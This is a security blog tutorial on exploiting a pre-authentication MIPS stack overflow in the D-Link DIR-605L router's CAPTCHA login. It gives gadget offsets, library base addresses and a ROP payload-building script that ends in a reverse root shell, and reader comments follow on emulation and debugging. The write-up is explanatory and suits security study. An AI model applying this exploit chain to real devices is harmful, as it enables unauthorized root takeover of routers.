Exploiting a MIPS Stack Overflow

Although D-Link’s CAPTCHA login feature has a history of implementation flaws and has been proven to not protect against the threat it was intended to thwart, they continue to keep this feature in their products. Today we’ll be looking at the CAPTCHA implementation in the D-Link DIR-605L, which is a big-endian MIPS system running Linux 2.4.

A pre-authentication vulnerability exists in the DIR-605L’s processing of the user-supplied CAPTCHA data from the Web-based login page. The formLogin function in the Boa Web server is responsible for handling the login data, and obtains the value of the FILECODE POST variable using the websGetVar function. The FILECODE value contains a unique string identifying the CAPTCHA image displayed on the login page, and is saved to the $s1 register:


If the CAPTCHA feature is enabled, this value is later passed as the second argument to the getAuthCode function:

FILECODE value being passed to getAuthCode

The getAuthCode function saves the FILECODE value back to the $s1 register:

$s1 = $a1

Which in turn is passed as the third argument to sprintf, (note the ‘%s’ in the sprintf format string):

sprintf’s are bad, mmmk?

The result of the sprintf is saved to the address contained in $s0, which is the address of the stack variable var_80:

$a0 = var_80

This is a classic stack based buffer overflow, and overflowing var_80 allows us to control all of the register values saved onto the stack by getAuthCode’s function prologue, including the saved return address and the saved values of the $s0 – $s3 registers:

getAuthCode stack layout

From the stack layout above, we can see that the beginning of the var_80 stack variable (-0x80) is 0x78 bytes away from the saved return address (-0x08). The format string passed to the sprintf function is “/var/auth/%s.msg”, so there are 10 bytes (“/var/auth/”) that are copied into the var_80 buffer before our user-supplied content.

This means that supplying 0x78 – 0x0A = 0x6E byte long FILECODE value will overflow all of the stack values up to the saved return address, and the next four bytes should overwrite the saved return address on the stack. We can test this by setting a breakpoint on the return from getAuthCode and sending the following POST request:

POST /goform/formLogin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 232


Registers at getAuthCode return

Excellent! But before we can build an exploit, we need to examine some of the constraints that we’ll need to deal with. First of all, any payload we send obviously must be NULL free, however, it also cannot contain the character ‘g’. This is due to the fact that prior to calling getAuthCode, the formLogin function looks for the first instance of the character ‘g’, and if found, replaces the next byte with 0x00:

strchr(FILECODE, ‘g’);

Beyond this, we have virtually no restrictions on the content of our payload. We will however need to deal with cache incoherency, so we’ll use a few MIPS ROP techniques to flush the MIPS data cache and obtain a relative pointer back to our data on the stack in order to gain arbitrary code execution.

The easiest and most reliable method of flushing the cache that I’ve found is to force it to call a blocking function such as sleep(1), or similar. During sleep the processor will switch contexts to give CPU cycles to other running processes and the cache will be flushed automatically. At offset 0x248D4 in libc.so we find the following:

First ROP gadget

This loads the value 1 into $a0, then copies the value of $s1 (which we control) into $t9 and performs a jump and link to $t9; this is perfect for setting up the argument to sleep(), so we will use this as our first ROP gadget. We will point $s1 at a our next ROP gadget, offset 0x2B954 in libc.so:

Second ROP gadget

This copies the value of $s2 (which we control) into $t9, restores the value of $ra from the stack and then jumps to the address loaded in $t9. Since we control both $s2 and data on the stack, we can ensure that $s2 contains the address of the sleep function (located at offset 0x23D30 in libc.so), and also control the value loaded into $ra. This means that not only can we call sleep, but we can control where it returns to. Note that it also allows us to load new values from the stack into registers $s0 – $s4.

Next, we find a relative stack reference in another library, apmib.so. At offset 0x27E8 it copies the stack pointer plus an offset of 0x1C into the $a2 register, then calls $s1:

Third ROP gadget

If we cause $s1 to point to offset 0x1D78 in the apmib.so library, it will copy $a2 (which now contains a pointer to the stack) into $t9, then jump and link to $t9:

Fourth ROP gadget

Attentive readers may notice that the first and third gadgets require $s1 to point to different addresses. However, recall that our second gadget loads data from a different location on the stack into $s1, so after the first gadget is finished we can load $s1 with a new value and re-use it in our third ROP gadget.

Thus, we need to craft our stack such that:

  • The function epilogue of getAuthCode loads 0x2B954 into $s1, the address of sleep (0x23D30) into $s2, and 0x248D4 into $ra
  • The second ROP gadget loads 0x1D78 into $s1 and 0x27E8 into $ra
  • Our shellcode must be located at $sp+0x1C after sleep returns

Taking the base addresses of the libc.so and apmib.so libraries into account, our payload then becomes:

        libc  = 0x2ab86000
        apmib = 0x2aaef000

        payload = MIPSPayload(endianess="big", badbytes=[0x00, 0x67])

        payload.AddBuffer(94)                      # filler
        payload.AddBuffer(4)                       # $s0
        payload.AddAddress(0x2B954, base=libc)     # $s1
        payload.AddAddress(0x23D30, base=libc)     # $s2
        payload.AddBuffer(4)                       # $s3
        payload.AddAddress(0x248D4, base=libc)     # $ra
        payload.AddBuffer(0x1C)                    # filler
        payload.AddBuffer(4)                       # $s0
        payload.AddAddress(0x01D78, base=apmib)    # $s1
        payload.AddBuffer(4)                       # $s2
        payload.AddBuffer(4)                       # $s3
        payload.AddBuffer(4)                       # $s4
        payload.AddAddress(0x027E8, base=apmib)    # $ra
        payload.AddBuffer(0x1C)                    # filler
        payload.Add(shellcode)                     # shellcode 

It should be noted that the shellcode piece is in itself non-trivial. While I won’t discuss MIPS shellcoding here, just about any MIPS shellcode found online will not work out of the box (except for maybe some simple reboot shellcode). They may work on the specific systems they were tested against, but aren’t very generic and will likely need some tweaking. I will be using some slightly modified reverse shell code that should work on most MIPS systems.

The final POST request contains none of our restricted characters, and looks like:

POST /goform/formLogin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 894


And results in:

Reverse root shell

Success. 🙂

For those interested, PoC code that spawns a reverse root shell to and has been tested against firmware versions 1.10, 1.12 and 1.13 can be found here.

Bookmark the permalink.

44 Responses to Exploiting a MIPS Stack Overflow

  1. Nacho Fan says:

    This is interesting work. I have a more basic question though. What sort of setup do you have to debug things lke this? i.e. How are you getting register values and controling program flow?

  2. Craig says:

    Mostly Qemu, also live debugging with gdbserver and IDA.

    • Brendan Dolan-Gavitt says:

      Are you actually running the D-Link software within QEMU? Wouldn’t the code have trouble since QEMU doesn’t emulate many of the devices?

      • Craig says:

        Yes, you usually have to do a bit of work to make the application play nicely in Qemu. See related post here.

        • Brendan Dolan-Gavitt says:

          Very interesting! From what I can see, it looks like you’re using QEMU’s linux-user emulation, right? So this wouldn’t work if you had to analyze a binary from a non-Linux platform, for example, a VXWorks binary?

          Thanks for the posts, by the way – there’s tons of really great info here to learn from as I dig into the embedded space.

          • Craig says:

            I use both the linux-user and system emulation depending on what I’m trying to emulate. But yes, it is probably going to be more difficult to get an RTOS running in Qemu than it is for Linux (Linux is already well supported in Qemu). There has been some effort in the past to build an emulator for VxWorks, and I think WindRiver provides an official one as well, but I’ve never used them so YMMV.

  3. 黄扬生 says:


  4. Vampiregd says:

    Great job! When I used your method to extract-ng.sh the firmware, it shows the file in rootfs is of “corrupted section header size”. Futhermore, although I use qemu-mips which is for big-endian, it comes “Invalid ELF image for this architecture”?

    • Vampiregd says:

      Well, I find the way to fix it on your post “Qemu vs sstrip”. I will appricate it a lot if u can offer the code of nvram.so for boa.

      • Craig says:

        The DIR-605L uses an apmib library for accessing NVRAM configuration data. A small piece of code capable of being loaded via LD_PRELOAD can be found here. I’ve only implemented a few of the many configuration keys, but it was enough to test the CAPTCHA feature and it should be easy to add more if you need to.

        • Vampiregd says:

          It works! Thanks a lot for guiding me into the interesting Embedded Device Hacking world!

          • Vampiregd says:

            I find that while using qemu to emulate, neither the IDA debugger nor GDB can follow the child process after fork function. I wonder how you deal with remote debugging of multiprocess program.

          • Craig says:

            There are a couple of ways depending on how/where you are running the target binary.

            If it only forks at start up (i.e., daemonizing itself) you can attach gdbserver to the application after it has started.

            If it forks frequently (such as for each connection), you can hook the fork() call using LD_PRELOAD and either don’t fork but say you did, or have your fork() call the real fork() and then attach gdbserver to the child process.

            Or you can NOP out the offending code in the binary with a hex editor. A bit heavy-handed, but it works. 🙂

          • Vampiregd says:

            Thank you for your ideas!

        • Josh says:

          I am having some trouble replicating all steps. I was able to recompile both qemu and apmib.c as described. However when i try to run “sudo chroot . ./qemu-mips -E LD_PRELOAD=”/apmib-ld.so” bin/boa ” i get segmentation fault. Is there anything i am missing? (sudo chroot . ./qemu-mips bin/ls works fine )

          • Craig says:

            What cross-compiler are you using to build apmib.c? The original apmib.c file I uploaded mistakenly said to use mipsel-linux-gcc, which is obviously incorrect as the target is a big endian system (mips-linux-gcc).

            Does /bin/ls run properly if you set LD_PRELOAD=apmib-ld.so? If not, this would indicate that the loader/Qemu is crashing just trying to load the apmib-ld.so file, which would indicate a problem with how it was built. If /bin/ls runs fine, then that would likely indicate a problem with the code itself, although it’s pretty simple code and I haven’t had any issues with it myself.

          • Josh says:

            You were correct, it was an issue with cross-compiler. After i found a new toolchain everything is working. Thank you

  5. Pingu says:

    Well in this case it is easy:

    -d instruct Boa not to fork itself (non-daemonize).

  6. Pingback: Herzlich Willkommen » lost+found: Hacker-Fehlalarm, Hacker-Sündenbock, Captcha-Hacker, Hacker-Apps

  7. Pingback: lost+found: Hacker-Fehlalarm, Hacker-Sündenbock, Captcha-Hacker, Hacker-Apps | Edv-Sicherheitskonzepte.de – News Blog aus vielen Bereichen

  8. Pingback: IT Secure Site » Blog Archive » Lost+Found: Hackers

  9. Pingback: Sekurak Hacking Party

  10. venkatesh says:

    please help me python script i have executed , i has shown
    # python dir605l_exploit.py 1.12
    Payload delivered.
    then what should i do ..

  11. Pingback: MIPS Buffer Overflows with Bowcaster

  12. Pingback: MIPS ROP IDA Plugin - /dev/ttyS0

  13. Daniel says:

    Hello, I have a question. I got a buffer overflow in a router firmware, I have created a ROP exploit that runs correctly in a qemu emulation. I used the libc library to do the ROP and I get a reverse shell, but when I try to obtain a reverse shell in the physical device, I don’t get it.

    The firmware is the same, because I updated the device with the same firmware.. I looked if the libc library is loaded in the same address and it is the same. I don’t use any hardcoded address more in the ROP, also I flushed the Iptables rules to test, and I don’t know what else I can try, the exploit runs correctly with qemu..

    Have you been in a situation like this? Any suggestion?

    Thanks 🙂

    • Craig says:

      Without any more info about the exploit / ROP chain, here’s a few things to check:

      • Are you flushing the data cache (e.g., calling sleep(1))?
      • Does the callback IP address have a bad byte in it (like a NULL byte)?
      • Are library addresses randomized on the target device?
  14. NimdaGo says:

    Great job! But I can’t find the base-address of the libc.so.How do you get it ?Thanks

  15. NimdaGo says:

    debian@debian:~/Debian/MIPS$ ps -a
    2251 pts/3 00:00:00 sh
    2252 pts/3 00:03:40 idag.exe
    4423 pts/6 00:00:00 sh
    4424 pts/6 00:04:11 idag.exe
    6024 pts/1 00:00:00 sudo
    6025 pts/1 00:00:00 run_cgi.sh
    6032 pts/1 00:37:10 qemu
    6091 pts/5 00:00:00 ps
    debian@debian:~/Debian/MIPS$ sudo cat /proc/6032/maps|grep libc.so.0
    408a9000-40906000 r-xp 00000000 08:01 956611 /home/debian/Debian/MIPS/_DIR605L.bin.extracted/squashfs-root/lib/libc.so.0
    40916000-40917000 r–p 0005d000 08:01 956611 /home/debian/Debian/MIPS/_DIR605L.bin.extracted/squashfs-root/lib/libc.so.0
    40917000-40918000 rw-p 0005e000 08:01 956611 /home/debian/Debian/MIPS/_DIR605L.bin.extracted/squashfs-root/lib/libc.so.0

    408a9000 is the base-address of libc.so.0

    • Craig says:

      It is the address of libc.so.0 in qemu user emulation. The load address will be different on the live device. The live address can be obtained by running the target binary in a MIPS Linux system (e.g., run Debian MIPS using qemu system emulation and chroot/execute the binary there).

  16. haimi says:

    hello , i have a question : how do you find the base address of libc.so?because we canot easily debug the real device and the address in IDA or qemu is not the real address..

    • dev_zzo says:

      That’s the biggest question for me.

      If you’ve got a shell on the live device, then it’s simple, just poke around /proc… Otherwise, you can either try brute forcing the base address (not recommended), or disclose it in some way.

      I don’t think booting an emulated Debian will help, as the libraries are different on Debian and on the router, thus addresses will differ. Then, what guarantees are there that Debian-provided kernel will map memory the same way as the one shipped with the router?..

      So am left with two poor choices, either brute force, or poke around the kernel in hopes of predicting memory layout. I could not spot any command injection, so no shell for me.

      • dev_zzo says:

        One neat thing: find a way to leak contents of .got.plt so you can observe pointers and deduce the base address of the desired library. Spotting a call to write() with controlled enough args (via ROP within the program image) did the trick for me.

  17. Victor says:


    How do you debug the mips application (so you can see the registers) ?

    With qemu and gdb ?

  18. M says:

    Hi Craig, I have exploited a similar device also running MIPS. I was using your shellcode because, as you stated, I wasn’t having much luck with the other shellcodes found on the internet.

    Anyway, first off: awesome technique about returning to sleep() to clear the instruction cache! Do you think this would work on ARM?

    Second, your reverse shell shellcode always sends a connection back to my listener, but about 50% of the time it says: “: Not found” and the connection dies. I have a suspicion that maybe the stack is getting shifted and it’s trying to execute “” …. any thoughts on this? Have you encountered this before?

    • Craig says:

      I can’t say I’ve run into that particular issue before. It sounds very much like a caching issue, but it sounds like you’re preforming a cache flush. Is this occurring on the actual device or in Qemu? Does it behave the same way in both environments?

      • M says:

        This is on the actual device. It’s worth noting, however, that when Im running my exploit while the target service is being debugged under GDB, the exploit works 100% of the time. Im not sure its a cache issue because i get the reverse connection every single time, it just looks like that its trying to run a command that isn’t on the filesystem

        • Craig says:

          Again, all these issues (e.g., reliable with a debugger but unreliable without a debugger) are typical of caching problems, but again, it seems that you are already handling caching issues, and it is odd that the first part of your shellcode always works.

          To really ensure that it is not a caching problem, you could add a synci instruction at the beginning of your shellcode, though I suspect you’ll still see the same behavior.

          It’s hard to say without detailed knowledge of the exploit, but I’d suspect there’s something that the application is doing that is corrupting your data. Some things to check:

          1. Is there anything in the application that is writing to the stack after your shellcode is copied there (especially any conditional code, which might explain why it sometimes works and sometimes doesn’t)?
          2. Is there anything in your ROP chain that is writing to the stack?
          3. Do smaller shellcodes work reliably? If so, what is the maximum size the shellcode can be before it becomes unreliable?
  19. niubl says:

    hello thank you for your tutorial, very nice!
    question is can i use botox debug child process?

  20. joe says:

    Hi Craig, thanks for sharing, really cool stuff here!
    I’m studying the behaviour of the httpd running on my home router since I managed to crash it and I would like to go deep to understand what’s happening.
    I’ve a running gdbserver but both gdb and IDA have problems to see the memory (I’ve rebased it according to /proc/xx/maps), backtraces, values; gdb is unable to disas anything (set architecture already set on mips) and IDA is detaching whenever a breakpoint is hit. (following child or similar stuff?)
    Long story short: it started as a funny thing to do in freetime but it’s becaming painful as hell.
    Would you suggest me checks I’ve to do and that probably I’ve missed so far?

  21. auto says:

    my english is not good,so look at the step,you can be look understanding,very much thanks!

    question one:
    root@VirtualBox:~# binwalk -e dir605L_FW_113.bin
    root@VirtualBox:~#cd _dir605L_FW_113.bin.extracted
    1FD 2C10 89822.squashfs squashfs-root
    1FD.7z 2C10.7z 99834.squashfs squashfs-root-0

    question two:
    why not appear squashfs-root and squashfs-root-0 ?generally generate one squashfs-root.

    root@VirtualBox:/home/openwrt/test/_dir605L_FW_113.bin.extracted/squashfs-root-0# qemu-mips -L . ./bin/ls

    ./bin/ls: cache ‘/etc/ld.so.cache’ is corrupt

    why appear the case ?

Leave a Reply

Your email address will not be published. Required fields are marked *